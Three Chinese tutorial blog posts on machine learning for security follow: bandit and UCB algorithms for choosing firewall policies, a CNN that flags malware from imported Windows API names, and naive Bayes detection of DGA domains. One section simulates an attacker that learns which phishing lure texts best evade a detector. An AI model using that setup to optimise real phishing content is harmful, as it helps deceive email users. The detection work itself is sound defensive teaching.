AI养蛊:让钓鱼邮件和反钓鱼邮件系统打一架
mab 多臂老虎机,又称为mab。 同一个环境,动作,状态下有可能返回1,有可能返回0。 也就是说环境反馈它不是一个固定的值。 可以假设为有五个函数,也就是相当于五种反馈,第一个函数返回1的概率是20%,返回0的概率是80%。 代码实现: import numpy as np import pandas as pd class MultiArmedBandit:    def __init__(self, n_arms, true_rewards):        self.n_arms = n_arms        self.true_rewards = true_rewards        self.estimates = np.zeros(n_arms)  # 每个臂的奖励估计        self.action_counts = np.zeros(n_arms)  # 每个臂被选择的次数    def select_arm(self, epsilon):        if np.random.rand() < epsilon:            return np.random.randint(self.n_arms)  # 探索        else:            return np.argmax(self.estimates)  # 开发    def update_estimates(self, chosen_arm, reward):        self.action_counts[chosen_arm] += 1        # 更新奖励估计        self.estimates[chosen_arm] += (reward - self.estimates[chosen_arm]) / self.action_counts[chosen_arm] def simulate_bandit(n_arms, true_rewards, n_rounds, epsilon):    bandit = MultiArmedBandit(n_arms, true_rewards)    rewards = np.zeros(n_rounds)    cumulative_rewards = np.zeros(n_rounds)    for round in range(n_rounds):        chosen_arm = bandit.select_arm(epsilon)        reward = np.random.normal(true_rewards[chosen_arm], 1)  # 奖励是正态分布        bandit.update_estimates(chosen_arm, reward)        rewards[round] = reward        cumulative_rewards[round] = np.sum(rewards)    return cumulative_rewards # 参数设置 n_arms = 5 true_rewards = [1.0, 1.5, 2.0, 0.5, 1.2]  # 每个臂的真实奖励均值 n_rounds = 1000 epsilon = 0.1 cumulative_rewards = simulate_bandit(n_arms, true_rewards, n_rounds, epsilon) results_df = pd.DataFrame({    'Round': np.arange(1, n_rounds + 1),    'Cumulative Rewards': cumulative_rewards }) results_df 类定义:MultiArmedBandit n_arms 老虎机的数量 true_rewards 每个臂的真实平均奖励 estimates 目前认为每个臂的平均回报是多少,初始全为0。 action_counts 记录每个臂被拉了多少次,用于更新均值。 选择臂:select_arm(self, epsilon) 然后定义一个随机数。 以概率 ε 进行探索,也就是随机选一个臂,以概率 1 - ε 进行开发(选当前估计奖励最高的臂)。 比如说当 epsilon = 0.1: 10% 概率随机探索 90% 概率选估计最好的那一个 更新估计值:update_estimates() R 是这次的实际奖励;N 是该臂被选过的次数;Q 是对该臂期望奖励的估计。 模拟函数:simulate_bandit() 初始化一个 MultiArmedBandit 实例; 进行多轮(n_rounds)实验; 每一轮: 用 select_arm() 决定拉哪一台机器; 根据真实均值 true_rewards[chosen_arm] 生成一个服从正态分布的奖励; 用 update_estimates() 更新估计; 记录当前的奖励和累计奖励 效果如图所示: ucb UCB算法是一种用于解决探索与利用问题的策略选择方法,广泛应用于多臂老虎机问题。 其核心思想是通过估计每个选项的潜在收益来平衡探索新选项和利用已知最佳选项 之间的权衡。 基本原理 探索与利用: 探索:尝试新的选项以获取更多的信息。 利用:选择当前已知的最佳选项以最大化收益。 UCB值计算: 对于每个选项,UCB算法计算一个上置信界值也就是UCB值,该值结合了成功率和探索因子。 计算公式: X_i 是选项 i 的成功率,即平均收益; n 是当前总的尝试次数; n_i 是选项 i 的尝试次数。 第一项是指当前已知的平均成功率;第二项是指置信区间,也就是越没试过的策略,这项越大;比如说你去饭堂吃饭,吃过 10 次的店你知道它一般,但没吃过的店你可能会想试一试,这就是 UCB 的探索机制。 应用场景 UCB算法广泛应用于在线广告推荐、A/B测试、动态定价、机器学习模型选择等领域,尤其是在需要实时决策和反馈的环境中。 ucb的通俗解释:一个左撇子,用手拿东西的时候,用右手的概率是20% ,用左手的概率是80%由于第一次选择的时候左右都会选,但是概率不同,选择不同手的频率就会影响两边ubc(可以理解为Q表)的值 那么我们就可以根据两边受频率影响的值动态调整我们是否选择高的那边的概率。 防火墙策略 假设有五个防火墙策略,并且拦截攻击的成功率都不一致。 但是在实际项目中,不用都写出成功率出来,毕竟只要知道哪个防火墙拦截的成功率高,那肯定优先选择那个防火墙。 现在是不知道概率多少。 import numpy as np import pandas as pd def check1(payload):    return np.random.rand() < 0.5  # 50%成功率 def check2(payload):    return np.random.rand() < 0.7  # 70%成功率 def check3(payload):    return np.random.rand() < 0.4  # 40%成功率 def check4(payload):    return np.random.rand() < 0.3  # 30%成功率 def check5(payload):    return np.random.rand() < 0.6  # 60%成功率 # 将所有检查函数放入列表中 check_functions = [check1, check2, check3, check4, check5] # 定义防火墙策略选择器类 class FirewallPolicySelector:    def __init__(self, n_policies):        self.n_policies = n_policies        self.successes = np.zeros(n_policies)        self.attempts = np.zeros(n_policies)    def select_policy(self):        total_attempts = np.sum(self.attempts)        if total_attempts == 0:            return np.random.randint(self.n_policies)  # 如果没有尝试过,随机选择        ucb_values = self.successes / (self.attempts + 1e-5) + np.sqrt(2 * np.log(total_attempts) / (self.attempts + 1e-5))        return np.argmax(ucb_values)  # 选择UCB值最高的策略    def update(self, chosen_policy, success):        self.attempts[chosen_policy] += 1        self.successes[chosen_policy] += success # 模拟防火墙策略优化过程 def simulate_firewall(n_policies, n_rounds):    policy_selector = FirewallPolicySelector(n_policies)    results = []    for round in range(n_rounds):        chosen_policy = policy_selector.select_policy()        payload = np.random.randint(0, 100)  # 生成随机攻击样本        success = check_functions[chosen_policy](payload)  # 使用选定的check函数        policy_selector.update(chosen_policy, success)        results.append((round + 1, chosen_policy, success))    results_df = pd.DataFrame(results, columns=['轮次', '选择的策略', '成功拦截'])    return results_df # 参数设置 n_policies = len(check_functions)  # 策略数量 n_rounds = 1000 # 运行模拟 results_df = simulate_firewall(n_policies, n_rounds) # 筛选出成功拦截的部分 successful_results = results_df[results_df['成功拦截'] == 1] # 输出每个策略的成功率 print("\n每个策略的成功率:") print(results_df.groupby('选择的策略')['成功拦截'].mean()) # 显示成功拦截的结果 print("\n成功拦截的结果:") print(successful_results) # 统计每个策略的选择次数 policy_counts = results_df['选择的策略'].value_counts() # 创建 DataFrame 显示所有策略及其选择次数 result_df = pd.DataFrame({    '选择次数': policy_counts }).reset_index() # 重命名列 result_df.columns = ['选择的策略', '选择次数'] # 设置行标题 result_df.index = [f'策略 {i+1}' for i in range(len(result_df))] result_df 防火墙策略选择器类 FirewallPolicySelector n_policies: 策略数量;successes[i]: 第 i 个策略成功的次数;attempts[i]: 第 i 个策略被尝试的次数 策略选择核心 select_policy() 这里用的ucb计算公式,在上述已贴出。 模拟防火墙运行:simulate_firewall() 循环共执行 n_rounds,比如 1000 轮: 选择一个策略,然后模拟生成攻击,接着判断是否成功拦截,最后更新策略统计。 简单来说,这份代码就是模拟了一个基于UCB算法的自适应防火墙策略选择系统,它通过统计每个检测策略的历史成功率和尝试次数,自动在多轮攻击中选择最有效的策略,在“探索新方法”和“利用已知最优”之间取得平衡,最终趋向于选择拦截率最高的策略。 效果如图: 其实还有其他场景也适合,比如说什么恶意代码识别,邮箱识别,毕竟是策略选择。 邮件攻防 假设现在有个角色A 通过mba模型实现强化学习下的优化钓鱼邮件内容。 还有一个角色B 通过Q-learning的方式实现强化学习下的钓鱼邮件内容识别。 当然也可以换成一边是恶意软件,一边杀毒软件,做一个养蛊哈哈。 整个流程就是攻击方不断发送不同类型的钓鱼邮件,防御方在识别的过程中逐渐学习,而攻击方也会记录哪些内容更容易成功,从而倾向选择这些高成功率内容。 import numpy as np import pandas as pd class PhishingContentOptimizer:    def __init__(self, contents, phishing_probabilities, epsilon=0.1):        self.contents = contents  # 钓鱼邮件内容列表        self.phishing_probabilities = phishing_probabilities  # 各内容被识别为钓鱼邮件的概率        self.epsilon = epsilon  # 探索率        self.success_counts = np.zeros(len(contents))  # 各内容成功次数        self.total_counts = np.zeros(len(contents))  # 各内容尝试次数    def select_content(self):        if np.random.rand() < self.epsilon:            return np.random.choice(self.contents)  # 随机选择        else:            success_rates = self.success_counts / (self.total_counts + 1e-5)  # 避免除零            return self.contents[np.argmax(success_rates)]  # 选择成功率最高的内容    def update(self, chosen_content, success):        index = self.contents.index(chosen_content)        self.total_counts[index] += 1        if success:            self.success_counts[index] += 1 class QLearningPhishingDetector:    def __init__(self, actions, learning_rate=0.1, discount_factor=0.9, exploration_rate=1.0):        self.q_table = {}  # Q值表        self.actions = actions  # 可采取的动作        self.learning_rate = learning_rate  # 学习率        self.discount_factor = discount_factor  # 折扣因子        self.exploration_rate = exploration_rate  # 探索率        self.exploration_decay = 0.99  # 探索率衰减    def get_action(self, state):        if state not in self.q_table:            self.q_table[state] = [0] * len(self.actions)        if np.random.rand() < self.exploration_rate:            return np.random.choice(self.actions)  # 探索        else:            return self.actions[np.argmax(self.q_table[state])]  # 利用    def update_q_value(self, state, action, reward, next_state):        current_q = self.q_table[state]        max_future_q = max(self.q_table.get(next_state, [0] * len(self.actions)))        current_q[action] += self.learning_rate * (reward + self.discount_factor * max_future_q - current_q[action])  # 更新Q值    def decay_exploration(self):        self.exploration_rate *= self.exploration_decay # 示例钓鱼邮件内容及其被识别为钓鱼邮件的概率 contents = [    "您的账户存在异常,请立即验证。",    "恭喜您获得奖品,请点击链接领取。",    "重要通知:请更新您的账户信息。",    "您有新的消息,请查看。",    "系统升级,请确认您的信息。", ] # 各内容被识别为钓鱼邮件的概率 phishing_probabilities = {    contents[0]: 0.1,    contents[1]: 0.3,    contents[2]: 0.6,    contents[3]: 0.5,    contents[4]: 0.4, } # 初始化角色A(内容优化器) optimizer = PhishingContentOptimizer(contents, phishing_probabilities) # 初始化角色B(钓鱼邮件识别器) actions = [0, 1]  # 0: 正常邮件, 1: 钓鱼邮件 detector = QLearningPhishingDetector(actions) # 预训练阶段 pretrain_steps = 50  # 预训练步骤数 for _ in range(pretrain_steps):    chosen_content = np.random.choice(contents)  # 随机选择内容    action = detector.get_action(chosen_content)  # 识别邮件    # 根据内容的钓鱼概率判断    success = np.random.rand() < phishing_probabilities[chosen_content] if action == 1 else False    reward = 1 if action == 1 and success else -1  # 奖励机制    detector.update_q_value(chosen_content, action, reward, chosen_content)  # 更新Q值    detector.decay_exploration()  # 衰减探索率 # 模拟钓鱼攻击过程 results = [] for _ in range(100):  # 模拟100次钓鱼攻击    chosen_content = optimizer.select_content()        # 角色B识别邮件    action = detector.get_action(chosen_content)  # 识别邮件    results.append({        '选择的内容': chosen_content,        '识别结果': '钓鱼邮件' if action == 1 else '正常邮件'   }) # 统计识别结果的成功率 for result in results:    if result['识别结果'] == '钓鱼邮件':        # 根据内容的钓鱼概率判断        success = np.random.rand() < phishing_probabilities[result['选择的内容']]    else:        success = False  # 正常邮件识别为钓鱼邮件的成功率为0    # 更新角色A的成功与否    optimizer.update(result['选择的内容'], success)    # 更新角色B的Q值    reward = 1 if action == 1 and success else -1  # 奖励机制    detector.update_q_value(result['选择的内容'], action, reward, result['选择的内容'])  # 更新Q值    detector.decay_exploration()  # 衰减探索率 # 转换为DataFrame results_df = pd.DataFrame(results) # 输出结果 print(results_df) # 统计每个内容的使用频率 content_counts = results_df['选择的内容'].value_counts() most_used_content = content_counts.idxmax() most_used_count = content_counts.max() # 筛选出使用最多的内容的结果 most_used_results = results_df[results_df['选择的内容'] == most_used_content] # 输出使用最多的内容 print(f"\n使用最多的内容: {most_used_content}, 使用次数: {most_used_count}") print("\n使用最多内容的结果:") print(most_used_results) # 统计识别结果为正常邮件的百分比 normal_email_count = results_df[results_df['识别结果'] == '正常邮件'].shape[0] total_count = results_df.shape[0] normal_email_percentage = (normal_email_count / total_count) * 100 print(f"\n识别结果为正常邮件的百分比: {normal_email_percentage:.2f}%") 钓鱼内容优化器 PhishingContentOptimizer contents: 所有钓鱼邮件的模板内容 phishing_probabilities: 每种内容被识别为钓鱼的概率,也就是被识破的难度 epsilon: ε-贪婪算法中的“探索率”,比如 0.1 意味着 10% 概率随机探索 success_counts: 各邮件“成功骗过检测”的次数 total_counts: 每个内容被使用的次数 选择内容 select_content 每轮发送邮件前,优化器根据历史成功率决定发哪种内容: 90% 概率选择成功率最高的邮件 10% 概率随机选一个探索新的可能 这样攻击方会逐渐聚焦在最有效的邮件内容上。 钓鱼邮件检测器 QLearningPhishingDetector 更新 Q 值 update_q_value 在状态 s 采取动作 a 后,得到奖励 r,下一状态 s' 的最大潜在价值是 max_future_q,于是把当前的 Q 值往新的期望值方向更新一点。 预训练阶段,让检测器先学习 模拟 50 封训练邮件,让检测器初步学会识别钓鱼概率高的邮件。 奖励逻辑: 检测为钓鱼且确实钓鱼 → 奖励 +1 否则 → 惩罚 -1 如果检测器判断为“钓鱼邮件”,就按对应概率看它是否真识别成功, 否则认为识别失败。 然后,攻击方更新该邮件的成功率,防御方更新Q值,探索率继续衰减。 这里其实还有个预训练,先让钓鱼邮件识别器跑起来,学习里面一些东西,分辨出哪个是钓鱼邮件,哪个是正常邮件。 然后再去模拟钓鱼邮件攻击的过程,结果如下图所示: 结果看起来比较发散,没有那么真实,其实可以把Q-Learing算法那一部分改为神经网络。 GAN网络其实就是Ai和Ai之间对打的过程。
深度学习模型CNN识别恶意软件
0.前言 给组里的本科生讲一讲恶意软件,以及如何识别恶意软件。 1.CNN介绍 注:这里写得很简陋,只挑笔者不熟悉的部分写,具体学习还是得详看官方文档。 卷积神经网络(CNN)是一种深度学习模型,特别适用于处理图像和视频等数据。 CNN包括:卷积层、激活层、池化层、全连接层。 CNN的工作流程: 1.输入层:接收原始数据(如图像) 卷积层:提取特征,生成特征图 激活层:引入非线性 池化层:下采样,减少维度 重复步骤 2-4:多次卷积和池化以提取更高层次的特征. 全连接层:展平特征图并进行分类 输出层:输出预测结果 感受野是卷积神经网络中一个重要的概念,指的是网络中某一层的一个神经元所能“看到”的输入区域。 换句话说,感受野描述了网络中某个特征图位置的神经元对输入图像的哪些部分有响应。 单层感受野:对于卷积层,感受野的大小可以通过以下公式计算: (R) 是当前层的感受野大小, R prev是前一层的感受野大小,(k) 是卷积核的大小,(S) 是步长。 说白了就是决定模型到底是看得宏观一点,还是看得微观一点,这主要还是取决于数据集,数据集提取出来的数学特征,是细节上的能够具体表明的数学特征。 还是比较抽象的数学特征。 比较抽象比较宏观的话,就可以用大一点的感受野。 感受野的影响: 特征提取能力: 较大的感受野可以捕捉到更大范围的上下文信息,有助于提取全局特征,但是准确度可能就会下降;较小的感受野则适合捕捉局部细节,判断的准确度就会更高,但是就不能理解更高维度的内容。 模型性能: 在某些任务中,较大的感受野可能会提高模型的性能,尤其是在处理复杂场景时。 设计选择: 在设计CNN时,可以通过选择合适的卷积核大小、步长和层数来控制感受野的大小,以适应特 定任务的需求。 2.CNN识别恶意软件 注意:这里放出的代码都不是完整的,只截取重要部分代码。 这里收集一些windows api的调用序列,观察这个软件中调用哪些api,来判断这个软件是不是恶意软件。 windows_api_list = [    "CreateFileA", "CreateFileW", "ReadFile", "WriteFile", "CloseHandle",    "GetLastError", "SetLastError", "VirtualAlloc", "VirtualFree",    "CreateThread", "ExitThread", "WaitForSingleObject", "GetModuleHandleA",    "GetProcAddress", "LoadLibraryA", "LoadLibraryW", "FreeLibrary",    "GetModuleFileNameA", "GetModuleFileNameW", "MessageBoxA", "MessageBoxW",    "CreateEventA", "CreateEventW", "SetEvent", "ResetEvent", "WaitForMultipleObjects",    "OpenProcess", "TerminateProcess", "ReadProcessMemory", "WriteProcessMemory",    "CreateProcessA", "CreateProcessW", "GetExitCodeProcess", "ShellExecuteA",    "ShellExecuteW", "FindFirstFileA", "FindNextFileA", "FindClose",    "DeleteFileA", "DeleteFileW", "MoveFileA", "MoveFileW",    "CopyFileA", "CopyFileW", "CreateDirectoryA", "CreateDirectoryW",    "RemoveDirectoryA", "RemoveDirectoryW", "GetFileSize", "SetFilePointer",    "FlushFileBuffers", "GetFileInformationByHandle", "SetEndOfFile",    "GetFileTime", "SetFileTime", "CreateMutexA", "CreateMutexW",    "ReleaseMutex", "OpenMutexA", "OpenMutexW", "CreateSemaphoreA",    "CreateSemaphoreW", "ReleaseSemaphore", "OpenSemaphoreA", "OpenSemaphoreW",    "CreatePipe", "ReadFileEx", "WriteFileEx", "CancelIo",    "GetOverlappedResult", "CreateIoCompletionPort", "PostQueuedCompletionStatus",    "GetQueuedCompletionStatus", "SetEvent", "ResetEvent", "CreateFileMappingA",    "CreateFileMappingW", "MapViewOfFile", "UnmapViewOfFile", "VirtualQuery",    "VirtualQueryEx", "GetSystemInfo", "GetSystemTime", "SetSystemTime",    "GetTickCount", "Sleep", "GetCurrentProcessId", "GetCurrentThreadId",    "GetCommandLineA", "GetCommandLineW", "GetEnvironmentVariableA",    "GetEnvironmentVariableW", "SetEnvironmentVariableA", "SetEnvironmentVariableW",    "CreateProcessAsUserA", "CreateProcessAsUserW", "ImpersonateLoggedOnUser",    "RevertToSelf", "OpenThreadToken", "SetThreadToken", "DuplicateTokenEx",    "AdjustTokenPrivileges", "GetTokenInformation", "SetTokenInformation",    "CreateRemoteThread", "GetExitCodeThread", "WaitForInputIdle" ] 收集完之后,把这些windows api变成numpy数组 类似[0,1],每一个位置代表一个独特的windowsapi函数,位置上的值代表这个函数有没有被调用。 然后我们要接收.exe软件,使用pefile.PE这个python的第三方库,从其导入表里面把windows api提取出来,放入列表。 然后遍历.exe软件提取到的的windows api,是否在事先写好的windows api列表中,如果找到,就找到对应的索引号,写成1。 def extract_api_calls(exe_path):    pe = pefile.PE(exe_path)    api_calls = []    # 遍历导入表    for entry in pe.DIRECTORY_ENTRY_IMPORT:        for imp in entry.imports:            api_calls.append(imp.name.decode('utf-8') if imp.name else None)    return api_calls def create_api_vector(api_calls):    vector = np.zeros(len(windows_api_list), dtype=int)        for api in api_calls:        if api in windows_api_list:            index = windows_api_list.index(api)            vector[index] = 1        return vector 这里的恶意软件的数据集可以利用微步的api,去爬取恶意样本。 正常软件也同理。 把正常软件标签贴为0,恶意的程序标签为1。 def whitelist(whitedir):    labels = []    features = []    # 获取文件夹中所有的 EXE 文件    for filename in os.listdir(whitedir):        if filename.endswith('.exe'):            one_feature = read_one_file(os.path.join(whitedir, filename))            features.append(one_feature)            labels.append(0)  # 标签为 0    # 将 features 转换为 numpy 数组    features_array = np.array(features)    return features_array, np.array(labels) def blacklist(whitedir):    labels = []    features = []    # 获取文件夹中所有的 EXE 文件    for filename in os.listdir(whitedir):        if filename.endswith('.exe'):            one_feature = read_one_file(os.path.join(whitedir, filename))            features.append(one_feature)            labels.append(1)  # 标签为 1    # 将 features 转换为 numpy 数组    features_array = np.array(features)    return features_array, np.array(labels) # 读取白名单和黑名单特征 whitelist_features, whitelist_labels = whitelist("./data/normal_file") blacklist_features, blacklist_labels = blacklist("./data/virus_file") 数据处理好之后,开始创建模型。 import tensorflow as tf import vec_data # 创建 CNN 模型 model = tf.keras.Sequential([    tf.keras.layers.Conv1D(32, kernel_size=3, activation='relu', input_shape=(vec_data.features.shape[1], 1)),    tf.keras.layers.MaxPooling1D(pool_size=2),    tf.keras.layers.Conv1D(64, kernel_size=3, activation='relu'),    tf.keras.layers.MaxPooling1D(pool_size=2),    tf.keras.layers.Flatten(),    tf.keras.layers.Dense(64, activation='relu'),    tf.keras.layers.Dense(2, activation='softmax')  # 二分类 ]) 模型比较简单,一个卷积,一个池化,再一个卷积,一个池化,然后就展平,全连接,全连接。 所有神经网络的第一层一定都是数据输入层,不管是什么神经网络算法,都得在第一层写个input_shape表示输入的数据。 接下来是模型的参数: train_param = {"epoch": 50, "batch_size": 32} model_compile_param = {    "optimizer":'adam',    "loss":'sparse_categorical_crossentropy',    "metrics":['accuracy'] } 第一个是训练次数 50 和每一次训练读到的数据的最小量 32。 第二个是模型编译的参数,adam编译器,损失函数,评分机制。 然后是模型训练: import tensorflow as tf import model_struct import vec_data import model_param model_struct.model.compile(optimizer=model_param.model_compile_param["optimizer"],                            loss=model_param.model_compile_param["loss"],                            metrics=model_param.model_compile_param["metrics"]) print(model_struct.model.summary()) model_struct.model.fit(vec_data.features,                        vec_data.labels,                        epochs=model_param.train_param["epoch"],                        batch_size=model_param.train_param["batch_size"]) model_struct.model.save("my_cnn.keras") 先把模型编译出来,然后就做训练,最后把模型保存下来。 显示的神经网络的形状,卷积层向下输出32,到展平那里输出已经是1600了。 下面是训练50次: 可以看到损失函数的大小和正确率。 虽然最后正确率显示有92%,但是因为实际的样本数量较少,训练次数又较多,就会有过拟合的问题,实战不行。 所以还得去多找一些样本,VT和微步。 模型完成之后,就来用模型去测试了。 这里写个了简单弹窗程序: #include <windows.h> void main() { MessageBoxA(NULL,"aaaa","bbbb",MB_OK); } 编译出.exe文件后丢给模型去测试: import tensorflow as tf import numpy as np import vec_data def predict_exe(exe_path, model):    # 提取 API 调用    api_calls = vec_data.extract_api_calls(exe_path)        # 创建特征向量    feature_vector = vec_data.create_api_vector(api_calls)        # 调整输入形状    feature_vector = feature_vector.reshape(1, feature_vector.shape[0], 1)  # (1, 特征长度, 1)        # 进行预测    prediction = model.predict(feature_vector)        # 获取预测结果    predicted_class = np.argmax(prediction, axis=1)        return predicted_class[0] model = tf.keras.models.load_model('./my_cnn.keras') # 示例用法 exe_path = "../Project1/x64/Release/Project1.exe"   predicted_label = predict_exe(exe_path, model) print(f'Predicted label: {predicted_label}')  # 0 表示白名单,1 表示黑名单 将目标.exe文件导入,然后提取API,创建特征向量,调整输入形状,进行预测结果会是个矩阵,所以最后用np.argmax这个参数最大的矩阵拿来做标签预测。 它显示的是1,也就是个恶意软件,但是这其实只是个正常的弹窗程序罢了。 所以这里其实就存在问题,样本数量太少了,导致实战不行。 不过模型的构造和训练方法是一样的,只需要增加样本数量和根据自己电脑性能调整训练次数,就可以有令人满意的结果。 补充:用windows api来做恶意软件检测其实算是比较取巧,因为在免杀中很多恶意软件是可以隐藏的导入表函数的,然后还有很多函数可以替换达到同样的效果。 还有就是现在很多恶意软件都会把自己的api调用变成一个正常应用程序,也就是说正常程序会调用的windows api,恶意软件也会用,所以拿windows api 来做恶意软件检测在实战中效果应该是不太理想的。 像360,火绒之类的大厂 会用ast ,也就是控制流程,if-else这些东西,做成numpy数组; 或者是直接把shellcode这类16进制数放入模型中,比如说提取text段shellcode放入数组。 当然长度可能会不一样,所以需要定义一下长度(1.1024*1024),把shellcode放入到每一个位置中去,如果小于定义长度就拿0去填充。 如果大于就切掉多余的部分。 或者直接多个模型多个特征来综合判断是不是恶意软件。
使用朴素贝叶斯识别恶意域名
0.前言 在护网的过程中,经常需要反向连接,就有可能连接到域名上,所以可以做一个识别,判断是不是一些APT组织通过一些批量的代码生成的恶意域名。 1.朴素贝叶斯 朴素贝叶斯算法原理:其实朴素贝叶斯方法是一种生成模型,对于给定的输入x,通过学习到的模型计算后验概率分布P ,将后验概率最大的类作为x的类输出。 举个例子,a : 1(a的值是1) 对应的标签是0,a的值是1那么标签为0的概率是多少? 优点:朴素贝叶斯模型发源于古典数学理论,有稳定的分类效率。 对小规模的数据表现很好,能个处理多分类任务,适合增量式训练,对缺失数据不太敏感,算法也比较简单,常用于文本分类。 缺点:理论上,朴素贝叶斯模型与其他分类方法相比具有最小的误差率,但是实际上并非总是如此,这是因为 朴素贝叶斯模型给定输出类别的情况下,假设属性之间相互独立,也就是数据得是离散的,这个假设在实际应用中往往是不成立的,在属性个数比较多或者属性之间相关性较大时,分类效果不好。而在属性相关性较小时,朴素贝叶斯性能最为良好。 需要知道先验概率,且先验概率很多时候取决于假设,假设的模型可以有很多种,因此在某些时候会由 于假设的先验模型的原因导致预测效果不佳。 由于是通过先验和数据来决定后验的概率从而决定分类,所以分类决策存在一定的错误率。 对输入数据的表达形式很敏感。 补充 1.高斯贝叶斯分类器: 在高斯朴素贝叶斯中,每个特征都是连续的,并且都呈高斯分布。高斯分布又称为正态分布。 GaussianNB 实现了运用于分类的高斯朴素贝叶斯算法。特征的可能性(即概率)假设为高斯分布。 2.多项式贝叶斯分类器: 实现服从多项分布数据的贝叶斯算法,是一个经典的朴素贝叶斯在文本分类中使用的变种,其中的数据是通常表示为词向量的数量,虽然 TF-IDF 向量在实际项目中表现得很好。 3.伯努利贝叶斯分类器:实现了用于多重伯努利分布数据的朴素贝叶斯训练和分类算法,即有多个特征,但每个特 征 都假设是一个二元变量。 因此,这类算法要求样本以二元值特征向量表示;如 果样本含有其他类型的数据, 一个 BernoulliNB 实例会将其二值化(取决于 binarize 参数)。 先验概率 先验概率是指在没有任何额外信息的情况下,事件发生的概率。在贝叶斯分类器中,先验概率通常表示 为类别的先验概率,即在没有观察到任何特征的情况下,某个类别发生的可能。 from collections import Counter # 假设我们有一个标签列表 labels = ["cat", "dog", "cat", "dog", "dog", "cat"] # 计算先验概率 label_counts = Counter(labels) total_samples = len(labels) priors = {label: count / total_samples for label, count in label_counts.items()} print("Prior probabilities:", priors) 提前看标签的分布,那么整个数据里面先验概率猫占比50%,狗占比50%。 没有任何的数据,也没有任何特征,就只有个标签做一个统计。 后验概率 后验概率是在给定一些观察结果后,事件发生的概率。在贝叶斯分类器中,后验概率 𝑃(ci∣x)P(Ci∣X) 表示在观察到特征 xX 的情况下,类别 ciCi 发生的概率。 import numpy as np # 假设我们有特征的概率分布 # 特征x的概率在类别Ci下 p_x_given_c = { "cat": {"feature1": 0.7, "feature2": 0.2}, "dog": {"feature1": 0.3, "feature2": 0.8} } # 计算后验概率 def calculate_posterior(features, priors, p_x_given_c): posteriors = {} for label, prior in priors.items(): likelihood = np.prod([p_x_given_c[label].get(f, 1.0) for f in features]) # 使用features列表中的f joint_probabilities = {} for lab in priors.keys(): joint_prob = np.prod([p_x_given_c[lab].get(f, 1.0) for f in features])  # 计算每个类别的联合概率 joint_probabilities[lab] = joint_prob * priors[lab] # 计算归一化常数P(x) p_x = sum(joint_probabilities.values()) # 使用归一化常数计算后验概率 posterior = (likelihood * prior) / p_x if p_x > 0 else 0 posteriors[label] = posterior return posteriors # 观察到的特征 x = ["feature1", "feature2"] # 计算后验概率 posteriors = calculate_posterior(x, priors, p_x_given_c) print("Posteriors:", posteriors) 联合概率 联合概率是指多个事件同时发生的概率。在朴素贝叶斯中,我们假设特征之间相互独立,因此可以计算特征的联合概率。 # 计算联合概率 def calculate_joint_probability(features, p_x_given_c): joint_probabilities = {} for label, feature_probs in p_x_given_c.items(): joint_prob = 1 for feature in features: feature_prob = feature_probs.get(feature, 1)  # 特征不存在时,概率为1 joint_prob *= feature_prob joint_probabilities[label] = joint_prob return joint_probabilities # 计算联合概率 joint_probs = calculate_joint_probability(x, p_x_given_c) print("Joint probabilities:", joint_probs) DGA 恶意域名批量生成生成的域名都有类似的规律。 长度 特殊字符的使用 数量、位置。 熵 数字与字母结合的规律,几个数字与几个字符。 2.使用朴素贝叶斯识别恶意域名 首先收集一些APT组织生成的恶意域名。 长度都是差不多的,随机生成的,这些是黑域名,那肯定就有白域名了。 数据收集完之后就可以先来加载数据。 import csv import numpy as np #处理域名的最小长度 MIN_LEN=10 def load_alexa(filename):    domain_list=[]    csv_reader = csv.reader(open(filename))    for row in csv_reader:        domain=row[1]        if len(domain) >= MIN_LEN:            domain_list.append(domain)    return domain_list def load_dga(filename):    domain_list=[]    #xsxqeadsbgvpdke.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,    # http://osint.bambenekconsulting.com/manual/cl.txt    with open(filename) as f:        for line in f:            domain=line.split(",")[0]            if len(domain) >= MIN_LEN:                domain_list.append(domain)    return  domain_list x1_domain_list = load_alexa("../data/top-1000.csv") x2_domain_list = load_dga("../data/dga-cryptolocke-1000.txt") x3_domain_list = load_dga("../data/dga-post-tovar-goz-1000.txt") x_domain_list=np.concatenate((x1_domain_list, x2_domain_list,x3_domain_list)) y1=[0]*len(x1_domain_list) y2=[1]*len(x2_domain_list) y3=[2]*len(x3_domain_list) y=np.concatenate((y1, y2,y3)) print(x_domain_list) 过滤掉小于10个字符的域名,毕竟APT组织生成的域名都不会小于10个字符的。 将读到的域名添加到列表中去,然后把所有的列表做一个组合。 然后给每一个数据打上标签,正常样本 0 恶意样本1 2 。 然后把这些字符串转化为数学上可以表达的东西。 import pickle import load_data from sklearn.feature_extraction.text import CountVectorizer import numpy as np cv = CountVectorizer(ngram_range=(2, 2), decode_error="ignore",                                          token_pattern=r"\w", min_df=1) x= cv.fit_transform(load_data.x_domain_list).toarray() np.savetxt("../model/data_x.csv", x, delimiter=",") np.savetxt("../model/data_y.csv", load_data.y, delimiter=",") with open('../model/cv.pickle','wb') as f:    pickle.dump(cv,f) #将训练好的模型clf存储在变量f中,且保存到本地 使用CountVectorizer将字符串转化为词袋集,然后看其出现的频率和频次。 然后将数据丢给fit_transform分类器,再将其转换为numpy一维矩阵。 数据处理完就该到模型部分了。 from sklearn.naive_bayes import GaussianNB import model_param clf = GaussianNB(priors=model_param.nb_param["priors"],var_smoothing=model_param.nb_param["var_smoothing"]) 模型结构用的高斯朴素贝叶斯。 模型训练 from sklearn.model_selection import train_test_split import numpy as np import model_struct import pickle x = np.genfromtxt("data_x.csv",delimiter=",") y = np.genfromtxt("data_y.csv",delimiter=",") x_train, x_test , y_train, y_test = train_test_split(x, y, test_size = 0.3) save_model = model_struct.clf.fit(x_train,y_train) # 模型的保存 with open('nb.pickle','wb') as f:    pickle.dump(save_model,f) #将训练好的模型clf存储在变量f中,且保存到本地 模型测试 import pickle from sklearn.model_selection import cross_val_score import numpy as np import matplotlib.pyplot as plt with open('../nb.pickle', 'rb') as f:    clf_load = pickle.load(f)  # 将模型存储在变量clf_load中 x = np.genfromtxt("../data_x.csv",delimiter=",") y = np.genfromtxt("../data_y.csv",delimiter=",") # 交叉验证 scores = cross_val_score(clf_load, x, y, cv=10, scoring='accuracy') # 11111 # 00001 print(scores.mean()) plt.bar(np.arange(10),scores,facecolor='yellow',edgecolor='white') # +表示向上显示 for x,y in zip(np.arange(10),scores):    plt.text(x,y+0.05, '%.2f' % y,ha='center',va= 'bottom') # '%.2f' % y 保留y的两位小数 ha='center' 居中对齐 va= 'bottom' 表示向下对齐 top向上对齐 plt.ylim(0,1.1) plt.show() 模型测试结果: 